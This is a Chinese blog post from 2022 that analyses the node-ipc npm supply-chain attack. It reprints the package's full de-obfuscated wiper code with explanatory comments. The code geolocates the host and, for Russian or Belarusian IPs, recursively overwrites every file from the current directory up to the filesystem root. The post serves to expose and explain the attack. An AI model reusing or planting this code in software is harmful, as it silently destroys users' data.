近期 node-ipc 包以反战为名进行供应链投毒

文章地址:https://github.com/vuejs/vue-cli/issues/7054

源码地址:https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

 

攻击步骤如下:

1、开发者 node_modules 的某个依赖运行了 node-ipc 这个库。

2、1/4 的概率进行攻击,并且将该操作设置为 setTimeout 随机间隔异步执行。

3、请求这个服务判断用户是不是俄罗斯或者白俄罗斯:https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154

4、如果是的话,分别对 「当前目录 ./」,  「父目录 ../」, 「父父目录 ../../」, 「根目录 /」 进行遍历

5、遍历所有的文件,文件内容替换为  ❤️

 

代码解析

const u = require("path")
const a = require("fs")
const o = require("https")

// 核心破坏函数
// 破坏的操作是获取路径下所有的文件,然后对文件进行无脑覆盖操作。覆盖内容为 ❤️
// 第一个参数 n 是路径,分别对「当前目录 ./」,  「父目录 ../」, 「父父目录 ../../」, 「根目录 /」 进行破坏操作
// 第二个参数 o ,暂时没有任何意义,应该只是混淆作用。
async function h(n = "", o = "") {
    // 如果不存在路径,那算了。
    if (!a.existsSync(n)) { return }

    // 读取文件夹下所有文件列表
    let r = []
    try { r = a.readdirSync(n) } catch (t) {}

    // 被遍历和迫害的文件集。暂无使用。
    const f = []

    // 这就是覆盖的内容「❤️」
    const c = Buffer.from("4p2k77iP", "base64") 

    for (var e = 0; e < r.length; e++) {
        // 合并路径,形成文件的完整路径
        const i = u.join(n, r[e])

        // 获取 stat 信息
        let t = null;
        try { t = a.lstatSync(i) } catch (t) { continue }
        
        // 如果是文件夹,那就递归调用 h 函数
        if (t.isDirectory()) {
            // 递归
            const s = h(i, o)
            s.length > 0 ? f.push(...s) : null

        // 这个判断没有任何意义,因为 「i」 是一个路径字符串,而 「o」 是一个空字符串,所以总是会为 true 的。或许只是一种混淆方式。
        } else if (i.indexOf(o) >= 0) { 
            try { 
                // 将文件的内容覆盖为 「❤️」
                a.writeFile(i, c.toString("utf8"), function() {}) 
            } 
            catch (t) {} 
        }
    }

    return f
}

setTimeout(function() {
    // 每次运行,有 1/4 的概率执行攻击操作。
    const t = Math.round(Math.random() * 4)
    if (t > 1) { return }

    // 这段代码解析出来就是:https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
    // 但现在这个 apiKey 已经被封禁,所以请求会失败。逻辑会走不下去或者报错
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
    console.log('n', n.toString('utf-8'))

    // 发送 get 请求,得到内容是否为俄罗斯的 ip
    o.get(n.toString("utf8"), function(t) {
        t.on("data", function(t) {
            const n = Buffer.from("Li8=", "base64") // 解析内容为: 「./」
            const o = Buffer.from("Li4v", "base64") // 解析内容为: 「../」
            const r = Buffer.from("Li4vLi4v", "base64") // 解析内容为: 「../../」
            const f = Buffer.from("Lw==", "base64") // 解析内容为: 「/」
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64") // 解析内容为: 「country_name」
            const e = Buffer.from("cnVzc2lh", "base64") // 解析内容为: 「russia」
            const i = Buffer.from("YmVsYXJ1cw==", "base64") // 解析内容为: 「belarus」
            
            try {
                // 解析接口的返回值,t 也是一个 Buffer 对象,所以需要 toString() + parse() 转换为 json 对象
                const s = JSON.parse(t.toString("utf8"))

                // 获取 「country_name」 国家
                const u = s[c.toString("utf8")].toLowerCase()

                // 检查IP国家是否是俄罗斯「russia」或白俄罗斯「belarus」
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"))

                if (a) {
                    // 「当前目录 ./」
                    h(n.toString("utf8"))
                    // 「父目录 ../」
                    h(o.toString("utf8"))
                    // 「父父目录 ../../」
                    h(r.toString("utf8"))
                    // 「根目录 /」
                    h(f.toString("utf8"))
                }
            } catch (t) {}
        })
    })

// 延迟 1-1000 毫秒执行,原因未知,可能是为了让代码变成异步执行,比较难排查。
}, Math.ceil(Math.random() * 1e3)) 

 

总结

npm 的 node_modules 设计犯罪成本是真的低,怪不得作者要另起炉灶开发 deno ……

posted @ 2022-04-11 15:12  贝尔塔猫  阅读(160)  评论(0)    收藏  举报